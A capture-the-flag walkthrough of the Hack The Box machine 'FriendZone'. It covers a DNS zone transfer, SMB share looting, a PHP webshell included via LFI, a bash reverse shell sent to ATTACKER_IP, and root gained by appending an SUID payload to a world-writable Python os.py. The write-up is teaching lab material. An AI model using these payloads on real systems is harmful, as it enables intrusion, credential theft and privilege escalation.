FriendZone Walkthrough

Machine: FriendZone#

Date: 02-04-2026 Platform: HTB Status: [Rooted]


πŸ” Recon#

Nmap:

nmap -sC -sV -oN scans/nmap_initial.txt $MACHINE_IP
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt $MACHINE_IP
nmap -sU --top-ports 20 -oN scans/nmap_udp.txt $MACHINE_IP

Results:

  • Port 21 β†’ FTP vsftpd 3.0.3 β€” anonymous login disabled
  • Port 22 β†’ SSH OpenSSH 7.6p1 Ubuntu 18.04
  • Port 53 β†’ DNS ISC BIND 9.11.3 β€” TCP open ← zone transfer possible
  • Port 80 β†’ Apache 2.4.29 β€” “Friend Zone Escape software” (static)
  • Port 139/445 β†’ Samba 4.7.6 β€” guest access allowed
  • Port 443 β†’ HTTPS Apache β€” SSL cert commonName=friendzone.red

Notes:

  • Port 53 TCP open β†’ always attempt zone transfer when DNS TCP is open
  • SSL cert reveals domain: friendzone.red
  • SMB guest access β†’ enumerate shares immediately
  • OS: Ubuntu 18.04 Bionic
echo "MACHINE_IP  friendzone.red" >> /etc/hosts

πŸ“‚ Enumeration#

DNS Zone Transfer#

β†’ [[dns]] β€” zone transfer

Port 53 TCP open is a strong indicator that zone transfers are enabled. Zone transfers use TCP because the response can be large.

dig axfr friendzone.red @MACHINE_IP

Result β€” subdomain discovery:

administrator1.friendzone.red.  β†’ A 127.0.0.1
hr.friendzone.red.               β†’ A 127.0.0.1
uploads.friendzone.red.          β†’ A 127.0.0.1
# Add all to /etc/hosts
echo "MACHINE_IP  friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red" >> /etc/hosts

Why zone transfer worked: DNS TCP on port 53 means the server accepts zone transfer requests (AXFR). These return the full DNS zone β€” all A records, CNAMEs, MX, etc. β€” revealing all subdomains at once. This is a critical misconfiguration that leaks the entire attack surface.

SMB Enumeration#

β†’ [[Exploitation/ftp]] β€” secciΓ³n smbclient / smbmap

# List shares with permissions
smbmap -H MACHINE_IP

# Result:
# print$     β†’ NO ACCESS
# Files      β†’ NO ACCESS      (comment reveals: /etc/Files)
# general    β†’ READ ONLY
# Development β†’ READ, WRITE   ← writable!
# IPC$       β†’ NO ACCESS

Explore readable shares:

smbclient //MACHINE_IP/general -N
# Found: creds.txt
get creds.txt

creds.txt contents:

creds for the admin THING:
admin:WORKWORKHhallelujah@#

Development share β€” write access confirmed:

smbclient //MACHINE_IP/Development -N
# Empty β€” but we can write files here
# The share comment pattern (/etc/Files for Files share) suggests
# Development maps to /etc/Development on the server

Key insight from share comments: The Files share comment says “FriendZone Samba Server Files /etc/Files” β€” this reveals the actual filesystem path. By extension, Development likely maps to /etc/Development.

Web Enumeration#

https://administrator1.friendzone.red β†’ Login form (HTTPS only, HTTP gives 404)

Login with found credentials: admin:WORKWORKHhallelujah@# β†’ “Login Done ! visit /dashboard.php”

https://administrator1.friendzone.red/dashboard.php β†’ “Smart photo script for friendzone corp!” β†’ “we are dealing with a beginner php developer and the application is not tested yet!” β†’ image_name param is missed! default is image_id=a.jpg&pagename=timestamp

Key observations:

  • pagename parameter loads PHP files dynamically β†’ potential LFI
  • PHP adds .php extension automatically (confirmed: pagename=timestamp loads timestamp.php)
  • “beginner php developer” + “not tested” = strong hint of vulnerabilities

https://uploads.friendzone.red β†’ File upload form (images only)


πŸ’₯ Exploitation#

LFI + SMB Write β†’ RCE#

Attack chain: Upload PHP webshell via SMB to /etc/Development/ β†’ Include via LFI in pagename parameter

β†’ [[Web/file_inclusion]] β€” secciΓ³n LFI to RCE

Why this works: The pagename parameter in dashboard.php includes PHP files dynamically using something like include($_GET['pagename'] . '.php'). Since Development share maps to /etc/Development/ on the server, files we upload via SMB are accessible to the web server via absolute path.

Step 1 β€” Create webshell:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Step 2 β€” Upload via SMB:

smbclient //MACHINE_IP/Development -N
smb: \> put shell.php

Step 3 β€” Verify RCE via LFI:

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=id

Result: uid=33(www-data) gid=33(www-data) groups=33(www-data) βœ…

Note: The pagename parameter appends .php automatically, so we pass /etc/Development/shell (without .php) to load /etc/Development/shell.php.

Step 4 β€” Reverse shell:

nc -lvnp 4449 &

# Login first to get session cookie
curl -k -c /tmp/fz_cookies.txt -X POST \
  'https://administrator1.friendzone.red/login.php' \
  -d 'username=admin&password=WORKWORKHhallelujah@#'

# Trigger reverse shell with cookie
curl -k -b /tmp/fz_cookies.txt \
  'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell2' \
  -d 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4449 0>&1"'

Or directly via URL encoding:

curl -k -b /tmp/fz_cookies.txt \
  'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/ATTACKER_IP/4449+0>%261"'

Shell stabilization:

python3 -c "import pty; pty.spawn('/bin/bash')"
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Result: Shell as www-data βœ…

Lateral Movement: www-data β†’ friend#

β†’ [[linux_credential_hunting]] β€” secciΓ³n config files

find /var/www -name "*.conf" -o -name "*.php" 2>/dev/null | xargs grep -l "pass\|user" 2>/dev/null
cat /var/www/mysql_data.conf

Result:

db_user=friend
db_pass=[REDACTED]
db_name=FZ
su friend   # password: [REDACTED]

User flag:

cat /home/friend/user.txt
`[FLAG REDACTED]`

⚑ Privilege Escalation#

Discovery#

sudo -l          # friend may NOT run sudo
id               # uid=1000(friend) groups=friend,adm,lpadmin,sambashare
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

Critical findings:

/usr/lib/python2.7/os.py   ← world-writable Python standard library!
/opt/server_admin/reporter.py   ← Python script (root-owned, not writable)
cat /opt/server_admin/reporter.py
# #!/usr/bin/python
# import os          ← imports os module!
# ... sends email report

Confirming with pspy#

β†’ [[linpeas_kernel]] β€” secciΓ³n pspy

[!critical] Always confirm with pspy that root executes the target script BEFORE modifying any files. Never blindly modify system files hoping something calls them.

# Transfer pspy to target
scp /tmp/pspy64 friend@MACHINE_IP:/tmp/
chmod +x /tmp/pspy64
/tmp/pspy64

pspy output (waiting ~1 minute):

2026/04/02 13:46:01 CMD: UID=0  | /usr/sbin/CRON -f
2026/04/02 13:46:01 CMD: UID=0  | /bin/sh -c /opt/server_admin/reporter.py
2026/04/02 13:46:01 CMD: UID=0  | /usr/bin/python /opt/server_admin/reporter.py

Confirmed: root executes reporter.py every minute via cron. The script uses #!/usr/bin/python (Python 2) and import os.

Python Library Hijacking#

β†’ [[sudo_suid_cron_writable]] β€” secciΓ³n Python standard library hijacking via cron

Why this works: When Python imports os, it searches the library path and loads /usr/lib/python2.7/os.py. Since this file is world-writable, we can append malicious code. When root’s cron job runs reporter.py and Python executes import os, our injected code runs as root.

Step 1 β€” Inject SUID payload into os.py:

echo 'import os; os.system("chmod +s /bin/bash")' >> /usr/lib/python2.7/os.py

Why append instead of replace: Appending preserves the original module β€” Python still loads all the legitimate os functions. Our line executes as part of the module initialization when import os is called. Replacing the entire file would break the import and the attack would fail silently.

Step 2 β€” Wait for cron (confirmed every 60 seconds by pspy):

ls -la /bin/bash
# -rwsr-sr-x 1 root root ... /bin/bash   ← SUID set!

Step 3 β€” Escalate:

/bin/bash -p
whoami   # root

Root flag:

cat /root/root.txt
`[FLAG REDACTED]`

🧩 Attack Chain#

  1. Port scan β†’ DNS TCP open (zone transfer) + SMB guest + HTTPS with friendzone.red cert
  2. dig axfr friendzone.red β†’ 3 subdomains: administrator1, hr, uploads
  3. smbmap β†’ general (READ) + Development (READ/WRITE)
  4. smbclient //IP/general β†’ creds.txt β†’ admin:[REDACTED]
  5. https://administrator1.friendzone.red β†’ login β†’ dashboard with pagename LFI
  6. SMB write access to Development (maps to /etc/Development/ on server)
  7. Upload shell.php via SMB β†’ include via pagename=/etc/Development/shell β†’ RCE as www-data
  8. cat /var/www/mysql_data.conf β†’ friend:[REDACTED]
  9. su friend β†’ user flag βœ…
  10. find / -writable β†’ /usr/lib/python2.7/os.py world-writable
  11. pspy64 β†’ confirms root runs reporter.py (which imports os) every minute
  12. Append SUID payload to os.py β†’ wait 60s β†’ /bin/bash -p β†’ root flag βœ…

🎯 Loot / Flags#

  • user.txt: ``[FLAG REDACTED]β†’/home/friend/user.txt`
  • root.txt: ``[FLAG REDACTED]β†’/root/root.txt`

Credentials found:

ServiceUserCredentialSource
Web admin / SMBadmin[REDACTED]general SMB share β†’ creds.txt
Systemfriend[REDACTED]/var/www/mysql_data.conf

πŸ“ Lessons Learned#

  • DNS TCP on port 53 = always try zone transfer. Zone transfers (AXFR) use TCP and reveal the entire DNS zone. This single command exposed three hidden subdomains that contained the entire attack path. Always do dig axfr DOMAIN @IP when port 53 TCP is open.
  • SMB share comments leak filesystem paths. The comment “FriendZone Samba Server Files /etc/Files” revealed the actual path on disk. This allowed us to infer that Development β†’ /etc/Development and target the LFI correctly without guessing.
  • LFI + writable network share = instant RCE. If you can write files to a location accessible via LFI, you have RCE. The key insight: SMB shares are often mounted to real filesystem paths. Find where they land and include them via the LFI.
  • PHP LFI often appends .php automatically. Use pagename=timestamp as a test β€” if it loads timestamp.php successfully, the app is appending the extension. Include files without the .php suffix in the URL.
  • Credentials reuse between services is common. The database credentials in mysql_data.conf worked for su friend directly. Always try found credentials everywhere.
  • pspy before touching anything. The correct workflow is: run pspy β†’ wait 2-3 minutes β†’ confirm UID=0 executing the target β†’ THEN inject payload. Never modify system files blindly hoping something calls them.
  • Python standard library files can be world-writable. When a root cron job runs a Python script that imports standard modules, check if those module files are writable. /usr/lib/python2.7/os.py with 777 permissions is an instant root path. Use find /usr/lib/pythonX.X -writable -name "*.py".
  • Append to library files, don’t replace them. Adding code at the end of os.py keeps the original module functional. The injected code runs during import os initialization. Replacing the file breaks the module and the attack fails silently.

#DNS_Axfr #Zone_Transfer #Subdomain_Enum #SMB_Enum #SMB_Guest #SMB_Write #LFI #LFI_to_RCE #File_Inclusion #PHP_LFI #Webshell #RCE #Credential_Reuse #Config_File_Loot #Linux_Lateral_Movement #Privesc_Linux #Cron_Privesc #Pspy #Writable_Files #Python_Hijacking #Python_Library_Hijack #SUID #Bash_SUID #Privilege_Escalation #Attack_Chain_LFI_SMB #Attack_Chain_DNS_SMB_LFI


Adapted from MountainFlayer/htb-writeups under MIT.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop